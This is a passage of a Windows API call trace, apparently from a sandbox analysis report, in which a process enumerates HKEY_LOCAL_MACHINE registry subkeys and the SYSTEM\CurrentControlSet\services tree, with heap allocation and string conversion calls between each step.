RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.313] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0188.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0188.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.313] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0188.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0188.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.313] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0188.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0188.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.313] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0188.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0188.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.314] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0188.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0188.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0188.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.314] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0188.314] RegCloseKey (hKey=0x80000002) returned 0x0 [0188.314] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0188.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0188.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0188.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.314] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0188.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0188.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1c88, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0188.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.315] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0188.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0188.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0188.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.315] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0188.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0188.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.315] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0188.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0188.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0188.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.316] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0188.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0188.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0188.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.316] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0188.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0188.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.316] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0188.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0188.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.316] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0188.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0188.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0188.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.317] RegOpenKeyExW (in: hKey=0x140, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0188.317] RegCloseKey (hKey=0x140) returned 0x0 [0188.317] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0188.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0188.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.317] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0188.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0188.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0188.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.317] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0188.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0188.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1c88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0188.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.318] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0188.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0188.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.318] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0188.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0188.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.318] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0188.318] RegCloseKey (hKey=0x14c) returned 0x0 [0188.318] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0188.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0188.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0188.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.319] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0188.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 